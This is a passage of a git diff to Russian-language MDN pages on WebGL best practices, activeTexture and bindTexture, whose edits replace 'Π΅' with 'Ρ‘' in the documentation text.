Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²Π΅ ΠΌΠΎΠ±ΠΈΠ»ΡŒΠ½Ρ‹Ρ… устройств, ΠΏΡ€ΠΈΡ‡Π΅ΠΌ этот Π½Π΅ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚Π½Ρ‹ΠΉ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°ΠΌΠ΅Ρ‚Π΅Π½ Π½Π° ΠΎΠ±Ρ‹Ρ‡Π½ΠΎΠΌ ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π΅. Π’ ΠΎΠ±Ρ‰Π΅ΠΌ, Ρ‚ΠΎΠ»ΡŒΠΊΠΎ использованиС высокой точности (highp) Π² Π²Π΅Ρ€ΡˆΠΈΠ½Π½ΠΎΠΌ ΠΈ Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Π½ΠΎΠΌ ΡˆΠ΅ΠΉΠ΄Π΅Ρ€Π°Ρ… являСтся Π±ΠΎΠ»Π΅Π΅ Π½Π°Π΄Π΅ΠΆΠ½Ρ‹ΠΌΠΈ Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ΠΌ, Ссли Π½Π΅Ρ‚ возмоТности Ρ‚Ρ‰Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ Ρ€Π°Π±ΠΎΡ‚Ρƒ ΡˆΠ΅ΠΉΠ΄Π΅Ρ€ΠΎΠ² Π½Π° Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΠ°Ρ…. Π’ Firefox вСрсии 11 ΠΈ Π²Ρ‹ΡˆΠ΅ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½Π° функция WebGL getShaderPrecisionFormat(), которая позволяСт ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ, поддСрТиваСтся Π»ΠΈ высокая Ρ‚ΠΎΡ‡Π½ΠΎΡΡ‚ΡŒ ΠΈ, Π±ΠΎΠ»Π΅Π΅ Ρ‚ΠΎΠ³ΠΎ, Π·Π°ΠΏΡ€ΠΎΡΠΈΡ‚ΡŒ Ρ€Π΅Π°Π»ΡŒΠ½ΡƒΡŽ Ρ‚ΠΎΡ‡Π½ΠΎΡΡ‚ΡŒ всСх ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅ΠΌΡ‹Ρ… ΠΊΠ²Π°Π»ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ΠΎΠ² точности. </code></li>
+ <li>ИспользованиС высокой точности (<code>highp</code> precision) Π²ΠΎ Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Π½Ρ‹Ρ… ΡˆΠ΅ΠΉΠ΄Π΅Ρ€Π°Ρ… ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€ΠΈΠ²ΠΎΠ΄ΠΈΡ‚ΡŒ ΠΊ нСсовмСстимости вашСго прилоТСния с Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ ΡƒΡΡ‚Π°Ρ€Π΅Π²ΡˆΠΈΠΌΠΈ ΠΌΠΎΠ±ΠΈΠ»ΡŒΠ½Ρ‹ΠΌΠΈ устройствами. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΡΡ€Π΅Π΄Π½ΡŽΡŽ Ρ‚ΠΎΡ‡Π½ΠΎΡΡ‚ΡŒ (<code>mediump), Π½ΠΎ ΠΏΠΎΠΌΠ½ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎ это ΠΌΠΎΠΆΠ΅Ρ‚ привСсти ΠΊ Π½Π΅ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚Π½ΠΎΠΌΡƒ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Ρƒ отрисовки ΠΈΠ·-Π·Π° ΠΏΠΎΡ‚Π΅Ρ€ΠΈ Π΄Π°Π½Π½Ρ‹Ρ… Π½Π° Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²Π΅ ΠΌΠΎΠ±ΠΈΠ»ΡŒΠ½Ρ‹Ρ… устройств, ΠΏΡ€ΠΈΡ‡Ρ‘ΠΌ этот Π½Π΅ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚Π½Ρ‹ΠΉ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°ΠΌΠ΅Ρ‚Π΅Π½ Π½Π° ΠΎΠ±Ρ‹Ρ‡Π½ΠΎΠΌ ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π΅. Π’ ΠΎΠ±Ρ‰Π΅ΠΌ, Ρ‚ΠΎΠ»ΡŒΠΊΠΎ использованиС высокой точности (highp) Π² Π²Π΅Ρ€ΡˆΠΈΠ½Π½ΠΎΠΌ ΠΈ Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Π½ΠΎΠΌ ΡˆΠ΅ΠΉΠ΄Π΅Ρ€Π°Ρ… являСтся Π±ΠΎΠ»Π΅Π΅ Π½Π°Π΄Ρ‘ΠΆΠ½Ρ‹ΠΌΠΈ Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ΠΌ, Ссли Π½Π΅Ρ‚ возмоТности Ρ‚Ρ‰Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ Ρ€Π°Π±ΠΎΡ‚Ρƒ ΡˆΠ΅ΠΉΠ΄Π΅Ρ€ΠΎΠ² Π½Π° Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΠ°Ρ…. Π’ Firefox вСрсии 11 ΠΈ Π²Ρ‹ΡˆΠ΅ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½Π° функция WebGL getShaderPrecisionFormat(), которая позволяСт ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ, поддСрТиваСтся Π»ΠΈ высокая Ρ‚ΠΎΡ‡Π½ΠΎΡΡ‚ΡŒ ΠΈ, Π±ΠΎΠ»Π΅Π΅ Ρ‚ΠΎΠ³ΠΎ, Π·Π°ΠΏΡ€ΠΎΡΠΈΡ‚ΡŒ Ρ€Π΅Π°Π»ΡŒΠ½ΡƒΡŽ Ρ‚ΠΎΡ‡Π½ΠΎΡΡ‚ΡŒ всСх ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅ΠΌΡ‹Ρ… ΠΊΠ²Π°Π»ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ΠΎΠ² точности. </code></li>
</ul>
<h2 id="О_Ρ‡Π΅ΠΌ_слСдуСт_ΠΏΠΎΠΌΠ½ΠΈΡ‚ΡŒ.">О Ρ‡Π΅ΠΌ слСдуСт ΠΏΠΎΠΌΠ½ΠΈΡ‚ΡŒ.</h2>
@@ -22,7 +22,7 @@ translation_of: Web/API/WebGL_API/WebGL_best_practices
<li>Π’ частности, использованиС тСкстур Π² Π²Π΅Ρ€ΡˆΠΈΠ½Π½ΠΎΠΌ ΡˆΠ΅ΠΉΠ΄Π΅Ρ€Π΅ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ссли Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>webgl.getParameter(webgl.MAX_VERTEX_TEXTURE_IMAGE_UNITS) большС ноля. Как ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ, эта Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ Π½Π΅ поддСрТиваСтся Π½Π° Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΡ… ΠΌΠΎΠ±ΠΈΠ»ΡŒΠ½Ρ‹Ρ… устройствах.</code></li>
<li>Π”ΠΎΡΡ‚ΡƒΠΏΠ½ΠΎΡΡ‚ΡŒ Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²Π° Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠΉ WebGL зависит ΠΎΡ‚ ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π°. Если это Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, ΠΏΡ€ΠΎΠ΅ΠΊΡ‚ΠΈΡ€ΡƒΠΉΡ‚Π΅ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½ΠΎ ΠΎΡΡ‚Π°Π²Π°Π»ΠΎΡΡŒ работоспособным Π΄Π°ΠΆΠ΅ Π² случаС, ΠΊΠΎΠ³Π΄Π° ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΠΎΠ΅ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅ нСдоступно. Π’ Firefox вСрсии 10 ΠΈ Π²Ρ‹ΡˆΠ΅ Π΅ΡΡ‚ΡŒ настройка<code> webgl.disable-extensions, ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰Π°Ρ ΡΡ‹ΠΌΠΈΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ отсутствиС всСх Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠΉ для ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ пСрСносимости прилоТСния.</code></li>
<li>Π Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³ Π² floating-point тСкстуру ΠΌΠΎΠΆΠ΅Ρ‚ Π½Π΅ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒΡΡ Π΄Π°ΠΆΠ΅ Ссли Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅ <code>OES_texture_float поддСрТиваСтся. ΠžΠ±Ρ‹Ρ‡Π½ΠΎ это случаСтся Π½Π° соврСмСнных ΠΌΠΎΠ±ΠΈΠ»ΡŒΠ½Ρ‹Ρ… устройствах. ΠŸΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ эту Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΠΌΠΎΠΆΠ½ΠΎ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ WebGL checkFramebufferStatus().</code></li>
- <li>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ отрисовку Π½Π° холстС, Ρ€Π΅Π°Π»ΡŒΠ½Ρ‹Π΅ Ρ€Π°Π·ΠΌΠ΅Ρ€Ρ‹ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ отличаСтся ΠΎΡ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… Π² Ρ‚Π°Π±Π»ΠΈΡ†Π΅ стилСй. ΠŸΡ€ΠΈ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ°Ρ… с ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒΡŽ рассмотритС Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³Π° Π² Π±ΠΎΠ»Π΅Π΅ Π½ΠΈΠ·ΠΊΠΎΠΌ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠΈ. (<em>УмСньшСниС области Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³Π° ускорит ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΡƒ ΠΏΠΈΠΊΡΠ΅Π»ΡŒΠ½Ρ‹Ρ… ΡˆΠ΅ΠΉΠ΄Π΅Ρ€ΠΎΠ², Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, эффСктов постобработки</em>, <em>ΠΎΠ΄Π½Π°ΠΊΠΎ, Π½Π° ΡΠΊΠΎΡ€ΠΎΡΡ‚ΡŒ Ρ€Π°Π±ΠΎΡ‚Ρ‹ Π²Π΅Ρ€ΡˆΠΈΠ½Π½Ρ‹Ρ… ΡˆΠ΅ΠΉΠ΄Π΅Ρ€ΠΎΠ² это Π½Π΅ повлияСт.</em> <span class="forum_post_content med1" style="word-wrap: break-word;"><span class="ln_height" id="post_text_1166974"><em>ΠΏΡ€ΠΈΠΌ. ΠΏΠ΅Ρ€Π΅Π².).</em></span></span></li>
+ <li>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ отрисовку Π½Π° холстС, Ρ€Π΅Π°Π»ΡŒΠ½Ρ‹Π΅ Ρ€Π°Π·ΠΌΠ΅Ρ€Ρ‹ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ отличаСтся ΠΎΡ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… Π² Ρ‚Π°Π±Π»ΠΈΡ†Π΅ стилСй. ΠŸΡ€ΠΈ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ°Ρ… с ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒΡŽ рассмотритС Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³Π° Π² Π±ΠΎΠ»Π΅Π΅ Π½ΠΈΠ·ΠΊΠΎΠΌ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠΈ. (<em>УмСньшСниС области Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³Π° ускорит ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΡƒ ΠΏΠΈΠΊΡΠ΅Π»ΡŒΠ½Ρ‹Ρ… ΡˆΠ΅ΠΉΠ΄Π΅Ρ€ΠΎΠ², Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, эффСктов постобработки</em>, <em>ΠΎΠ΄Π½Π°ΠΊΠΎ, Π½Π° ΡΠΊΠΎΡ€ΠΎΡΡ‚ΡŒ Ρ€Π°Π±ΠΎΡ‚Ρ‹ Π²Π΅Ρ€ΡˆΠΈΠ½Π½Ρ‹Ρ… ΡˆΠ΅ΠΉΠ΄Π΅Ρ€ΠΎΠ² это Π½Π΅ повлияСт.</em> <span class="forum_post_content med1" style="word-wrap: break-word;"><span class="ln_height" id="post_text_1166974"><em>ΠΏΡ€ΠΈΠΌ. ΠΏΠ΅Ρ€Π΅Π².).</em></span></span></li>
</ul>
<h2 id="ΠžΠ±Ρ‰ΠΈΠ΅_совСты_ΠΏΠΎ_ΠΏΠΎΠ²Ρ‹ΡˆΠ΅Π½ΠΈΡŽ_ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ">ΠžΠ±Ρ‰ΠΈΠ΅ совСты ΠΏΠΎ ΠΏΠΎΠ²Ρ‹ΡˆΠ΅Π½ΠΈΡŽ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ</h2>
@@ -30,7 +30,7 @@ translation_of: Web/API/WebGL_API/WebGL_best_practices
<ul>
<li>ВсС, Ρ‡Ρ‚ΠΎ Ρ‚Ρ€Π΅Π±ΡƒΠ΅Ρ‚ синхронизации ЦП ΠΈ Π“ΠŸ ΠΏΠΎΡ‚Π΅Π½Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎ ΠΏΡ€ΠΈΠ²ΠΎΠ΄ΠΈΡ‚ Π² ΡƒΠΌΠ΅Π½ΡŒΡˆΠ΅Π½ΠΈΡŽ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ. ΠŸΠΎΡΡ‚ΠΎΠΌΡƒ ΠΈΠ·Π±Π΅Π³Π°ΠΉΡ‚Π΅ Π² Ρ†ΠΈΠΊΠ»Π΅ отрисовки ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… Π²Ρ‹Π·ΠΎΠ²ΠΎΠ² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ WebGL: <code>getError()</code>, <code>readPixels()</code> ΠΈ <code>finish()</code>. Π’Ρ‹Π·ΠΎΠ²Ρ‹ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ, ΠΏΠΎΠ»ΡƒΡ‡Π°ΡŽΡ‰ΠΈΡ… значСния, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ <code>getParameter()</code> ΠΈ <code>getUniformLocation() Ρ‚ΠΎΠΆΠ΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Ρ€Π°ΡΡΠΌΠ°Ρ‚Ρ€ΠΈΠ²Π°Ρ‚ΡŒΡΡ ΠΊΠ°ΠΊ ΠΌΠ΅Π΄Π»Π΅Π½Π½Ρ‹Π΅ ΠΈ ΠΈΡ… значСния слСдуСт ΡΠΎΡ…Ρ€Π°Π½ΡΡ‚ΡŒΡΡ Π² ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ… JavaScript.</code></li>
<li>НСсколько Π±ΠΎΠ»ΡŒΡˆΠΈΡ… ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΉ отрисовки Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡŽΡ‚ΡΡ быстрСС, Ρ‡Π΅ΠΌ ΠΌΠ½ΠΎΠ³ΠΎ ΠΌΠ΅Π»ΠΊΠΈΡ…. Если Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π½Π°Ρ€ΠΈΡΠΎΠ²Π°Ρ‚ΡŒ 1000 спрайтов, ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ это ΠΎΠ΄Π½ΠΈΠΌ Π²Ρ‹Π·ΠΎΠ²ΠΎΠΌ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ<code> drawArrays()</code> ΠΈΠ»ΠΈ <code>drawElements(). Π’Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π²Ρ‹Ρ€ΠΎΠΆΠ΄Π΅Π½Π½Ρ‹Π΅ (плоскиС) Ρ‚Ρ€Π΅ΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊΠΈ для рисования Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² Π·Π° ΠΎΠ΄ΠΈΠ½ Π²Ρ‹Π·ΠΎΠ² drawArrays().</code></li>
- <li>УмСньшСниС ΠΏΠ΅Ρ€Π΅ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠΉ состояний Ρ‚Π°ΠΊΠΆΠ΅ ΡƒΠ²Π΅Π»ΠΈΡ‡ΠΈΠ²Π°Π΅Ρ‚ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ. Π’ частности, Ссли Π΅ΡΡ‚ΡŒ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΡƒΠΏΠ°ΠΊΠΎΠ²Π°Ρ‚ΡŒ нСсколько ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ Π² ΠΎΠ΄Π½Ρƒ тСкстуру <em>(Ρ‚.Π½. тСкстурный атлас, ΠΏΡ€ΠΈΠΌ. ΠΏΠ΅Ρ€Π΅Π².)</em> ΠΈ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒ Ρ‚Ρ€Π΅Π±ΡƒΠ΅ΠΌΠΎΠ΅ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΏΠΎΠΏΡ€Π°Π²ΠΎΠΊ тСкстурных ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚, Ρ‚ΠΎ это ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Ρ‚ ΠΊ ΡƒΠΌΠ΅Π½ΡŒΡˆΠ΅Π½ΠΈΡŽ ΠΏΠ΅Ρ€Π΅ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠΉ ΠΌΠ΅ΠΆΠ΄Ρƒ тСкстурами, Ρ‡Ρ‚ΠΎ ΡƒΠ²Π΅Π»ΠΈΡ‡ΠΈΡ‚ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ.
+ <li>УмСньшСниС ΠΏΠ΅Ρ€Π΅ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠΉ состояний Ρ‚Π°ΠΊΠΆΠ΅ ΡƒΠ²Π΅Π»ΠΈΡ‡ΠΈΠ²Π°Π΅Ρ‚ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ. Π’ частности, Ссли Π΅ΡΡ‚ΡŒ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΡƒΠΏΠ°ΠΊΠΎΠ²Π°Ρ‚ΡŒ нСсколько ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ Π² ΠΎΠ΄Π½Ρƒ тСкстуру <em>(Ρ‚.Π½. тСкстурный атлас, ΠΏΡ€ΠΈΠΌ. ΠΏΠ΅Ρ€Π΅Π².)</em> ΠΈ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒ Ρ‚Ρ€Π΅Π±ΡƒΠ΅ΠΌΠΎΠ΅ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΏΠΎΠΏΡ€Π°Π²ΠΎΠΊ тСкстурных ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚, Ρ‚ΠΎ это ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Ρ‚ ΠΊ ΡƒΠΌΠ΅Π½ΡŒΡˆΠ΅Π½ΠΈΡŽ ΠΏΠ΅Ρ€Π΅ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠΉ ΠΌΠ΅ΠΆΠ΄Ρƒ тСкстурами, Ρ‡Ρ‚ΠΎ ΡƒΠ²Π΅Π»ΠΈΡ‡ΠΈΡ‚ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ.
<ul>
<li>Π’ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Ρ€Π΅Π΄ΠΊΠΈΡ… случаях Ρ€Π°Π·Π½Ρ‹Π΅ ΠΎΠ΄Π½ΠΎΡ†Π²Π΅Ρ‚Π½Ρ‹Π΅ изобраТСния ΠΌΠΎΠΆΠ½ΠΎ ΡƒΠΏΠ°ΠΊΠΎΠ²Π°Ρ‚ΡŒ Π² Ρ€Π°Π·Π½Ρ‹Π΅ Ρ†Π²Π΅Ρ‚ΠΎΠ²Ρ‹Π΅ ΠΊΠ°Π½Π°Π»Ρ‹ тСкстуры.</li>
</ul>
diff --git a/files/ru/web/api/webglrenderingcontext/activetexture/index.html b/files/ru/web/api/webglrenderingcontext/activetexture/index.html
index 4bbea586ed..b23d2c5b8d 100644
--- a/files/ru/web/api/webglrenderingcontext/activetexture/index.html
+++ b/files/ru/web/api/webglrenderingcontext/activetexture/index.html
@@ -43,7 +43,7 @@ translation_of: Web/API/WebGLRenderingContext/activeTexture
<pre class="brush: js">gl.activeTexture(gl.TEXTURE0);
gl.getParameter(gl.ACTIVE_TEXTURE);
-// Π²Π΅Ρ€Π½Π΅Ρ‚ "33984" (0x84C0, gl.TEXTURE0 enum value)
+// Π²Π΅Ρ€Π½Ρ‘Ρ‚ "33984" (0x84C0, gl.TEXTURE0 enum value)
</pre>
<h2 id="БпСцификация">БпСцификация</h2>
@@ -70,7 +70,7 @@ gl.getParameter(gl.ACTIVE_TEXTURE);
<h2 id="Π‘ΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ_с_Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ">Π‘ΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ с Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ</h2>
-<p class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаСтся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄ Π² Π΄Π°Π½Π½Ρ‹Π΅, ΠΎΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ с https://github.com/mdn/browser-compat-data ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ Π½Π°ΠΌ запрос Π½Π° слияниС.</p>
+<p class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаётся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄ Π² Π΄Π°Π½Π½Ρ‹Π΅, ΠΎΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ с https://github.com/mdn/browser-compat-data ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ Π½Π°ΠΌ запрос Π½Π° слияниС.</p>
<p>{{Compat("api.WebGLRenderingContext.activeTexture")}}</p>
diff --git a/files/ru/web/api/webglrenderingcontext/bindtexture/index.html b/files/ru/web/api/webglrenderingcontext/bindtexture/index.html
index 2a3fd529b3..38d9a3aaa0 100644
--- a/files/ru/web/api/webglrenderingcontext/bindtexture/index.html
+++ b/files/ru/web/api/webglrenderingcontext/bindtexture/index.html
@@ -22,7 +22,7 @@ translation_of: Web/API/WebGLRenderingContext/bindTexture
<li><code>gl.TEXTURE_CUBE_MAP</code>: кубичСская тСкстура.</li>
<li>ΠŸΡ€ΠΈ использовании {{domxref("WebGL2RenderingContext", "WebGL 2 context", "", 1)}}, Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ доступны:
<ul>
- <li><code>gl.TEXTURE_3D</code>: трСхмСрная тСкстура.</li>
+ <li><code>gl.TEXTURE_3D</code>: трёхмСрная тСкстура.</li>
<li><code>gl.TEXTURE_2D_ARRAY</code>: массив Π΄Π²ΡƒΠΌΠ΅Ρ€Π½Ρ‹Ρ… тСкстур.</li>
</ul>
</li>
@@ -93,7 +93,7 @@ gl.bindTexture(gl.TEXTURE_2D, texture);
<h2 id="Π‘ΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ_с_Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ">Π‘ΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ с Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ</h2>
